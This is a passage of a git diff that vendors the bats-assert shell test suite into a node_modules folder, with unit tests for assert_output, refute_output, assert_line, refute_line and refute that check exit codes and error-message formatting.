+@test "assert_output() --partial : returns 0 if is a substring in \`\$output'" { + run printf 'a\nb\nc' + run assert_output --partial 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_output() --partial : returns 1 and displays details if is not a substring in \`\$output'" { + run echo 'b' + run assert_output --partial 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- output does not contain substring --' ] + [ "${lines[1]}" == 'substring : a' ] + [ "${lines[2]}" == 'output : b' ] + [ "${lines[3]}" == '--' ] +} + +# Output formatting +@test "assert_output() --partial : displays details in multi-line format if \`\$output' is longer than one line" { + run printf 'b 0\nb 1' + run assert_output --partial 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- output does not contain substring --' ] + [ "${lines[1]}" == 'substring (1 lines):' ] + [ "${lines[2]}" == ' a' ] + [ "${lines[3]}" == 'output (2 lines):' ] + [ "${lines[4]}" == ' b 0' ] + [ "${lines[5]}" == ' b 1' ] + [ "${lines[6]}" == '--' ] +} + +@test 'assert_output() --partial : displays details in multi-line format if is longer than one line' { + run echo 'b' + run assert_output --partial $'a 0\na 1' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- output does not contain substring --' ] + [ "${lines[1]}" == 'substring (2 lines):' ] + [ "${lines[2]}" == ' a 0' ] + [ "${lines[3]}" == ' a 1' ] + [ "${lines[4]}" == 'output (1 lines):' ] + [ "${lines[5]}" == ' b' ] + [ "${lines[6]}" == '--' ] +} + + +# +# Regular expression matching: `-e' and `--regexp' +# + +# Options +test_r_regexp () { + run echo 'abc' + run assert_output "$1" '^a' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert_output() -e : enables regular expression matching' { + test_r_regexp -e +} + +@test 'assert_output() --regexp : enables regular expression matching' { + test_r_regexp --regexp +} + +# Correctness +@test "assert_output() --regexp : returns 0 if matches \`\$output'" { + run printf 'a\nb\nc' + run assert_output --regexp '.*b.*' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_output() --regexp : returns 1 and displays details if does not match \`\$output'" { + run echo 'b' + run assert_output --regexp '.*a.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- regular expression does not match output --' ] + [ "${lines[1]}" == 'regexp : .*a.*' ] + [ "${lines[2]}" == 'output : b' ] + [ "${lines[3]}" == '--' ] +} + +# Output formatting +@test "assert_output() --regexp : displays details in multi-line format if \`\$output' is longer than one line" { + run printf 'b 0\nb 1' + run assert_output --regexp '.*a.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- regular expression does not match output --' ] + [ "${lines[1]}" == 'regexp (1 lines):' ] + [ "${lines[2]}" == ' .*a.*' ] + [ "${lines[3]}" == 'output (2 lines):' ] + [ "${lines[4]}" == ' b 0' ] + [ "${lines[5]}" == ' b 1' ] + [ "${lines[6]}" == '--' ] +} + +@test 'assert_output() --regexp : displays details in multi-line format if is longer than one line' { + run echo 'b' + run assert_output --regexp $'.*a\nb.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- regular expression does not match output --' ] + [ "${lines[1]}" == 'regexp (2 lines):' ] + [ "${lines[2]}" == ' .*a' ] + [ "${lines[3]}" == ' b.*' ] + [ "${lines[4]}" == 'output (1 lines):' ] + [ "${lines[5]}" == ' b' ] + [ "${lines[6]}" == '--' ] +} + +# Error handling +@test 'assert_output() --regexp : returns 1 and displays an error message if is not a valid extended regular expression' { + run assert_output --regexp '[.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: assert_output --' ] + [ "${lines[1]}" == "Invalid extended regular expression: \`[.*'" ] + [ "${lines[2]}" == '--' ] +} + + +# +# Common +# + +@test "assert_output(): \`--partial' and \`--regexp' are mutually exclusive" { + run assert_output --partial --regexp + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: assert_output --' ] + [ "${lines[1]}" == "\`--partial' and \`--regexp' are mutually exclusive" ] + [ "${lines[2]}" == '--' ] +} + +@test "assert_output(): \`--' stops parsing options" { + run echo '-p' + run assert_output -- '-p' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-16-refute_output.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-16-refute_output.bats new file mode 100644 index 0000000..5204301 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-16-refute_output.bats @@ -0,0 +1,196 @@ +#!/usr/bin/env bats + +load test_helper + + +# +# Literal matching +# + +# Correctness +@test "refute_output() : returns 0 if does not equal \`\$output'" { + run echo 'b' + run refute_output 'a' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_output() : returns 1 and displays details if equals \`\$output'" { + run echo 'a' + run refute_output 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- output equals, but it was expected to differ --' ] + [ "${lines[1]}" == 'output : a' ] + [ "${lines[2]}" == '--' ] +} + +@test 'refute_output(): reads from STDIN' { + run echo 'a' + run refute_output <: displays details in multi-line format if necessary' { + run printf 'a 0\na 1' + run refute_output $'a 0\na 1' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- output equals, but it was expected to differ --' ] + [ "${lines[1]}" == 'output (2 lines):' ] + [ "${lines[2]}" == ' a 0' ] + [ "${lines[3]}" == ' a 1' ] + [ "${lines[4]}" == '--' ] +} + +# Options +@test 'refute_output() : performs literal matching by default' { + run echo 'a' + run refute_output '*' + [ "$status" -eq 0 ] +} + + +# +# Partial matching: `-p' and `--partial' +# + +# Options +test_p_partial () { + run echo 'abc' + run refute_output "$1" 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'refute_output() -p : enables partial matching' { + test_p_partial -p +} + +@test 'refute_output() --partial : enables partial matching' { + test_p_partial --partial +} + +# Correctness +@test "refute_output() --partial : returns 0 if is not a substring in \`\$output'" { + run printf 'a\nb\nc' + run refute_output --partial 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_output() --partial : returns 1 and displays details if is a substring in \`\$output'" { + run echo 'a' + run refute_output --partial 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- output should not contain substring --' ] + [ "${lines[1]}" == 'substring : a' ] + [ "${lines[2]}" == 'output : a' ] + [ "${lines[3]}" == '--' ] +} + +# Output formatting +@test 'refute_output() --partial : displays details in multi-line format if necessary' { + run printf 'a 0\na 1' + run refute_output --partial 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- output should not contain substring --' ] + [ "${lines[1]}" == 'substring (1 lines):' ] + [ "${lines[2]}" == ' a' ] + [ "${lines[3]}" == 'output (2 lines):' ] + [ "${lines[4]}" == ' a 0' ] + [ "${lines[5]}" == ' a 1' ] + [ "${lines[6]}" == '--' ] +} + + +# +# Regular expression matching: `-e' and `--regexp' +# + +# Options +test_r_regexp () { + run echo 'abc' + run refute_output "$1" '^d' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'refute_output() -e : enables regular expression matching' { + test_r_regexp -e +} + +@test 'refute_output() --regexp : enables regular expression matching' { + test_r_regexp --regexp +} + +# Correctness +@test "refute_output() --regexp : returns 0 if does not match \`\$output'" { + run printf 'a\nb\nc' + run refute_output --regexp '.*d.*' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_output() --regexp : returns 1 and displays details if matches \`\$output'" { + run echo 'a' + run refute_output --regexp '.*a.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- regular expression should not match output --' ] + [ "${lines[1]}" == 'regexp : .*a.*' ] + [ "${lines[2]}" == 'output : a' ] + [ "${lines[3]}" == '--' ] +} + +# Output formatting +@test 'refute_output() --regexp : displays details in multi-line format if necessary' { + run printf 'a 0\na 1' + run refute_output --regexp '.*a.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- regular expression should not match output --' ] + [ "${lines[1]}" == 'regexp (1 lines):' ] + [ "${lines[2]}" == ' .*a.*' ] + [ "${lines[3]}" == 'output (2 lines):' ] + [ "${lines[4]}" == ' a 0' ] + [ "${lines[5]}" == ' a 1' ] + [ "${lines[6]}" == '--' ] +} + +# Error handling +@test 'refute_output() --regexp : returns 1 and displays an error message if is not a valid extended regular expression' { + run refute_output --regexp '[.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: refute_output --' ] + [ "${lines[1]}" == "Invalid extended regular expression: \`[.*'" ] + [ "${lines[2]}" == '--' ] +} + + +# +# Common +# + +@test "refute_output(): \`--partial' and \`--regexp' are mutually exclusive" { + run refute_output --partial --regexp + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: refute_output --' ] + [ "${lines[1]}" == "\`--partial' and \`--regexp' are mutually exclusive" ] + [ "${lines[2]}" == '--' ] +} + +@test "refute_output(): \`--' stops parsing options" { + run echo '--' + run refute_output -- '-p' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-17-assert_line.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-17-assert_line.bats new file mode 100644 index 0000000..bee3850 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-17-assert_line.bats @@ -0,0 +1,334 @@ +#!/usr/bin/env bats + +load test_helper + + +############################################################################### +# Containing a line +############################################################################### + +# +# Literal matching +# + +# Correctness +@test "assert_line() : returns 0 if is a line in \`\${lines[@]}'" { + run printf 'a\nb\nc' + run assert_line 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_line() : returns 1 and displays details if is not a line in \`\${lines[@]}'" { + run echo 'b' + run assert_line 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- output does not contain line --' ] + [ "${lines[1]}" == 'line : a' ] + [ "${lines[2]}" == 'output : b' ] + [ "${lines[3]}" == '--' ] +} + +# Output formatting +@test "assert_line() : displays \`\$output' in multi-line format if it is longer than one line" { + run printf 'b 0\nb 1' + run assert_line 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 6 ] + [ "${lines[0]}" == '-- output does not contain line --' ] + [ "${lines[1]}" == 'line : a' ] + [ "${lines[2]}" == 'output (2 lines):' ] + [ "${lines[3]}" == ' b 0' ] + [ "${lines[4]}" == ' b 1' ] + [ "${lines[5]}" == '--' ] +} + +# Options +@test 'assert_line() : performs literal matching by default' { + run echo 'a' + run assert_line '*' + [ "$status" -eq 1 ] +} + + +# +# Partial matching: `-p' and `--partial' +# + +# Options +test_p_partial () { + run printf 'a\n_b_\nc' + run assert_line "$1" 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert_line() -p : enables partial matching' { + test_p_partial -p +} + +@test 'assert_line() --partial : enables partial matching' { + test_p_partial --partial +} + +# Correctness +@test "assert_line() --partial : returns 0 if is a substring in any line in \`\${lines[@]}'" { + run printf 'a\n_b_\nc' + run assert_line --partial 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_line() --partial : returns 1 and displays details if is not a substring in any lines in \`\${lines[@]}'" { + run echo 'b' + run assert_line --partial 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- no output line contains substring --' ] + [ "${lines[1]}" == 'substring : a' ] + [ "${lines[2]}" == 'output : b' ] + [ "${lines[3]}" == '--' ] +} + +# Output formatting +@test "assert_line() --partial : displays \`\$output' in multi-line format if it is longer than one line" { + run printf 'b 0\nb 1' + run assert_line --partial 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 6 ] + [ "${lines[0]}" == '-- no output line contains substring --' ] + [ "${lines[1]}" == 'substring : a' ] + [ "${lines[2]}" == 'output (2 lines):' ] + [ "${lines[3]}" == ' b 0' ] + [ "${lines[4]}" == ' b 1' ] + [ "${lines[5]}" == '--' ] +} + + +# +# Regular expression matching: `-e' and `--regexp' +# + +# Options +test_r_regexp () { + run printf 'a\n_b_\nc' + run assert_line "$1" '^.b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert_line() -e : enables regular expression matching' { + test_r_regexp -e +} + +@test 'assert_line() --regexp : enables regular expression matching' { + test_r_regexp --regexp +} + +# Correctness +@test "assert_line() --regexp : returns 0 if matches any line in \`\${lines[@]}'" { + run printf 'a\n_b_\nc' + run assert_line --regexp '^.b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_line() --regexp : returns 1 and displays details if does not match any lines in \`\${lines[@]}'" { + run echo 'b' + run assert_line --regexp '^.a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- no output line matches regular expression --' ] + [ "${lines[1]}" == 'regexp : ^.a' ] + [ "${lines[2]}" == 'output : b' ] + [ "${lines[3]}" == '--' ] +} + +# Output formatting +@test "assert_line() --regexp : displays \`\$output' in multi-line format if longer than one line" { + run printf 'b 0\nb 1' + run assert_line --regexp '^.a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 6 ] + [ "${lines[0]}" == '-- no output line matches regular expression --' ] + [ "${lines[1]}" == 'regexp : ^.a' ] + [ "${lines[2]}" == 'output (2 lines):' ] + [ "${lines[3]}" == ' b 0' ] + [ "${lines[4]}" == ' b 1' ] + [ "${lines[5]}" == '--' ] +} + + +############################################################################### +# Matching single line: `-n' and `--index' +############################################################################### + +# Options +test_n_index () { + run printf 'a\nb\nc' + run assert_line "$1" 1 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert_line() -n : matches against the -th line only' { + test_n_index -n +} + +@test 'assert_line() --index : matches against the -th line only' { + test_n_index --index +} + +@test 'assert_line() --index : returns 1 and displays an error message if is not an integer' { + run assert_line --index 1a + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: assert_line --' ] + [ "${lines[1]}" == "\`--index' requires an integer argument: \`1a'" ] + [ "${lines[2]}" == '--' ] +} + + +# +# Literal matching +# + +# Correctness +@test "assert_line() --index : returns 0 if equals \`\${lines[]}'" { + run printf 'a\nb\nc' + run assert_line --index 1 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_line() --index : returns 1 and displays details if does not equal \`\${lines[]}'" { + run printf 'a\nb\nc' + run assert_line --index 1 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- line differs --' ] + [ "${lines[1]}" == 'index : 1' ] + [ "${lines[2]}" == 'expected : a' ] + [ "${lines[3]}" == 'actual : b' ] + [ "${lines[4]}" == '--' ] +} + +# Options +@test 'assert_line() --index : performs literal matching by default' { + run printf 'a\nb\nc' + run assert_line --index 1 '*' + [ "$status" -eq 1 ] +} + + +# +# Partial matching: `-p' and `--partial' +# + +# Options +test_index_p_partial () { + run printf 'a\n_b_\nc' + run assert_line --index 1 "$1" 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert_line() --index -p : enables partial matching' { + test_index_p_partial -p +} + +@test 'assert_line() --index --partial : enables partial matching' { + test_index_p_partial --partial +} + +# Correctness +@test "assert_line() --index --partial : returns 0 if is a substring in \`\${lines[]}'" { + run printf 'a\n_b_\nc' + run assert_line --index 1 --partial 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_line() --index --partial : returns 1 and displays details if is not a substring in \`\${lines[]}'" { + run printf 'b 0\nb 1' + run assert_line --index 1 --partial 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- line does not contain substring --' ] + [ "${lines[1]}" == 'index : 1' ] + [ "${lines[2]}" == 'substring : a' ] + [ "${lines[3]}" == 'line : b 1' ] + [ "${lines[4]}" == '--' ] +} + + +# +# Regular expression matching: `-e' and `--regexp' +# + +# Options +test_index_r_regexp () { + run printf 'a\n_b_\nc' + run assert_line --index 1 "$1" '^.b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert_line() --index -e : enables regular expression matching' { + test_index_r_regexp -e +} + +@test 'assert_line() --index --regexp : enables regular expression matching' { + test_index_r_regexp --regexp +} + +# Correctness +@test "assert_line() --index --regexp : returns 0 if matches \`\${lines[]}'" { + run printf 'a\n_b_\nc' + run assert_line --index 1 --regexp '^.b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_line() --index --regexp : returns 1 and displays details if does not match \`\${lines[]}'" { + run printf 'a\nb\nc' + run assert_line --index 1 --regexp '^.a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- regular expression does not match line --' ] + [ "${lines[1]}" == 'index : 1' ] + [ "${lines[2]}" == 'regexp : ^.a' ] + [ "${lines[3]}" == 'line : b' ] + [ "${lines[4]}" == '--' ] +} + + +############################################################################### +# Common +############################################################################### + +@test "assert_line(): \`--partial' and \`--regexp' are mutually exclusive" { + run assert_line --partial --regexp + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: assert_line --' ] + [ "${lines[1]}" == "\`--partial' and \`--regexp' are mutually exclusive" ] + [ "${lines[2]}" == '--' ] +} + +@test 'assert_line() --regexp : returns 1 and displays an error message if is not a valid extended regular expression' { + run assert_line --regexp '[.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: assert_line --' ] + [ "${lines[1]}" == "Invalid extended regular expression: \`[.*'" ] + [ "${lines[2]}" == '--' ] +} + +@test "assert_line(): \`--' stops parsing options" { + run printf 'a\n-p\nc' + run assert_line -- '-p' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-18-refute_line.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-18-refute_line.bats new file mode 100644 index 0000000..9cc8185 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-18-refute_line.bats @@ -0,0 +1,342 @@ +#!/usr/bin/env bats + +load test_helper + + +############################################################################### +# Containing a line +############################################################################### + +# +# Literal matching +# + +# Correctness +@test "refute_line() : returns 0 if is not a line in \`\${lines[@]}'" { + run printf 'a\nb\nc' + run refute_line 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_line() : returns 1 and displays details if is not a line in \`\${lines[@]}'" { + run echo 'a' + run refute_line 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- line should not be in output --' ] + [ "${lines[1]}" == 'line : a' ] + [ "${lines[2]}" == 'index : 0' ] + [ "${lines[3]}" == 'output : a' ] + [ "${lines[4]}" == '--' ] +} + +# Output formatting +@test "refute_line() : displays \`\$output' in multi-line format if it is longer than one line" { + run printf 'a 0\na 1\na 2' + run refute_line 'a 1' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 8 ] + [ "${lines[0]}" == '-- line should not be in output --' ] + [ "${lines[1]}" == 'line : a 1' ] + [ "${lines[2]}" == 'index : 1' ] + [ "${lines[3]}" == 'output (3 lines):' ] + [ "${lines[4]}" == ' a 0' ] + [ "${lines[5]}" == '> a 1' ] + [ "${lines[6]}" == ' a 2' ] + [ "${lines[7]}" == '--' ] +} + +# Options +@test 'refute_line() : performs literal matching by default' { + run echo 'a' + run refute_line '*' + [ "$status" -eq 0 ] +} + + +# +# Partial matching: `-p' and `--partial' +# + +# Options +test_p_partial () { + run printf 'a\nb\nc' + run refute_line "$1" 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'refute_line() -p : enables partial matching' { + test_p_partial -p +} + +@test 'refute_line() --partial : enables partial matching' { + test_p_partial --partial +} + +# Correctness +@test "refute_line() --partial : returns 0 if is not a substring in any line in \`\${lines[@]}'" { + run printf 'a\nb\nc' + run refute_line --partial 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_line() --partial : returns 1 and displays details if is a substring in any line in \`\${lines[@]}'" { + run echo 'a' + run refute_line --partial 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- no line should contain substring --' ] + [ "${lines[1]}" == 'substring : a' ] + [ "${lines[2]}" == 'index : 0' ] + [ "${lines[3]}" == 'output : a' ] + [ "${lines[4]}" == '--' ] +} + +# Output formatting +@test "refute_line() --partial : displays \`\$output' in multi-line format if it is longer than one line" { + run printf 'a\nabc\nc' + run refute_line --partial 'b' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 8 ] + [ "${lines[0]}" == '-- no line should contain substring --' ] + [ "${lines[1]}" == 'substring : b' ] + [ "${lines[2]}" == 'index : 1' ] + [ "${lines[3]}" == 'output (3 lines):' ] + [ "${lines[4]}" == ' a' ] + [ "${lines[5]}" == '> abc' ] + [ "${lines[6]}" == ' c' ] + [ "${lines[7]}" == '--' ] +} + + +# +# Regular expression matching: `-e' and `--regexp' +# + +# Options +test_r_regexp () { + run printf 'a\nb\nc' + run refute_line "$1" '^.d' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'refute_line() -e : enables regular expression matching' { + test_r_regexp -e +} + +@test 'refute_line() --regexp : enables regular expression matching' { + test_r_regexp --regexp +} + +# Correctness +@test "refute_line() --regexp : returns 0 if does not match any line in \`\${lines[@]}'" { + run printf 'a\nb\nc' + run refute_line --regexp '.*d.*' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_line() --regexp : returns 1 and displays details if matches any lines in \`\${lines[@]}'" { + run echo 'a' + run refute_line --regexp '.*a.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- no line should match the regular expression --' ] + [ "${lines[1]}" == 'regexp : .*a.*' ] + [ "${lines[2]}" == 'index : 0' ] + [ "${lines[3]}" == 'output : a' ] + [ "${lines[4]}" == '--' ] +} + +# Output formatting +@test "refute_line() --regexp : displays \`\$output' in multi-line format if longer than one line" { + run printf 'a\nabc\nc' + run refute_line --regexp '.*b.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 8 ] + [ "${lines[0]}" == '-- no line should match the regular expression --' ] + [ "${lines[1]}" == 'regexp : .*b.*' ] + [ "${lines[2]}" == 'index : 1' ] + [ "${lines[3]}" == 'output (3 lines):' ] + [ "${lines[4]}" == ' a' ] + [ "${lines[5]}" == '> abc' ] + [ "${lines[6]}" == ' c' ] + [ "${lines[7]}" == '--' ] +} + + +############################################################################### +# Matching single line: `-n' and `--index' +############################################################################### + +# Options +test_n_index () { + run printf 'a\nb\nc' + run refute_line "$1" 1 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'refute_line() -n : matches against the -th line only' { + test_n_index -n +} + +@test 'refute_line() --index : matches against the -th line only' { + test_n_index --index +} + +@test 'refute_line() --index : returns 1 and displays an error message if is not an integer' { + run refute_line --index 1a + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: refute_line --' ] + [ "${lines[1]}" == "\`--index' requires an integer argument: \`1a'" ] + [ "${lines[2]}" == '--' ] +} + + +# +# Literal matching +# + +# Correctness +@test "refute_line() --index : returns 0 if does not equal \`\${lines[]}'" { + run printf 'a\nb\nc' + run refute_line --index 1 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_line() --index : returns 1 and displays details if equals \`\${lines[]}'" { + run printf 'a\nb\nc' + run refute_line --index 1 'b' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- line should differ --' ] + [ "${lines[1]}" == 'index : 1' ] + [ "${lines[2]}" == 'line : b' ] + [ "${lines[3]}" == '--' ] +} + +# Options +@test 'refute_line() --index : performs literal matching by default' { + run printf 'a\nb\nc' + run refute_line --index 1 '*' + [ "$status" -eq 0 ] +} + + +# +# Partial matching: `-p' and `--partial' +# + +# Options +test_index_p_partial () { + run printf 'a\nb\nc' + run refute_line --index 1 "$1" 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'refute_line() --index -p : enables partial matching' { + test_index_p_partial -p +} + +@test 'refute_line() --index --partial : enables partial matching' { + test_index_p_partial --partial +} + +# Correctness +@test "refute_line() --index --partial : returns 0 if is not a substring in \`\${lines[]}'" { + run printf 'a\nabc\nc' + run refute_line --index 1 --partial 'd' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_line() --index --partial : returns 1 and displays details if is a substring in \`\${lines[]}'" { + run printf 'a\nabc\nc' + run refute_line --index 1 --partial 'b' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- line should not contain substring --' ] + [ "${lines[1]}" == 'index : 1' ] + [ "${lines[2]}" == 'substring : b' ] + [ "${lines[3]}" == 'line : abc' ] + [ "${lines[4]}" == '--' ] +} + + +# +# Regular expression matching: `-e' and `--regexp' +# + +# Options +test_index_r_regexp () { + run printf 'a\nb\nc' + run refute_line --index 1 "$1" '^.b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'refute_line() --index -e : enables regular expression matching' { + test_index_r_regexp -e +} + +@test 'refute_line() --index --regexp : enables regular expression matching' { + test_index_r_regexp --regexp +} + +# Correctness +@test "refute_line() --index --regexp : returns 0 if does not match \`\${lines[]}'" { + run printf 'a\nabc\nc' + run refute_line --index 1 --regexp '.*d.*' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "refute_line() --index --regexp : returns 1 and displays details if matches \`\${lines[]}'" { + run printf 'a\nabc\nc' + run refute_line --index 1 --regexp '.*b.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- regular expression should not match line --' ] + [ "${lines[1]}" == 'index : 1' ] + [ "${lines[2]}" == 'regexp : .*b.*' ] + [ "${lines[3]}" == 'line : abc' ] + [ "${lines[4]}" == '--' ] +} + + +############################################################################### +# Common +############################################################################### + +@test "refute_line(): \`--partial' and \`--regexp' are mutually exclusive" { + run refute_line --partial --regexp + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: refute_line --' ] + [ "${lines[1]}" == "\`--partial' and \`--regexp' are mutually exclusive" ] + [ "${lines[2]}" == '--' ] +} + +@test 'refute_line() --regexp : returns 1 and displays an error message if is not a valid extended regular expression' { + run refute_line --regexp '[.*' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- ERROR: refute_line --' ] + [ "${lines[1]}" == "Invalid extended regular expression: \`[.*'" ] + [ "${lines[2]}" == '--' ] +} + +@test "refute_line(): \`--' stops parsing options" { + run printf 'a\n--\nc' + run refute_line -- '-p' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-19-refute.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-19-refute.bats new file mode 100644 index 0000000..191dc73 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-19-refute.bats @@ -0,0 +1,18 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'refute() : returns 0 if evaluates to FALSE' { + run refute false + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'refute() : returns 1 and displays if it evaluates to TRUE' { + run refute true + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- assertion succeeded, but it was expected to fail --' ] + [ "${lines[1]}" == 'expression : true' ] + [ "${lines[2]}" == '--' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/test_helper.bash b/node_modules/git-open/test/test_helper/bats-assert/test/test_helper.bash new file mode 100644 index 0000000..32ad846 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/test_helper.bash @@ -0,0 +1,10 @@ +setup() { + export TEST_MAIN_DIR="${BATS_TEST_DIRNAME}/.." + export TEST_DEPS_DIR="${TEST_DEPS_DIR-${TEST_MAIN_DIR}/..}" + + # Load dependencies. + load "${TEST_DEPS_DIR}/bats-support/load.bash" + + # Load library. + load '../load' +} diff --git a/node_modules/git-open/test/test_helper/bats-support/.travis.yml b/node_modules/git-open/test/test_helper/bats-support/.travis.yml new file mode 100644 index 0000000..75721f2 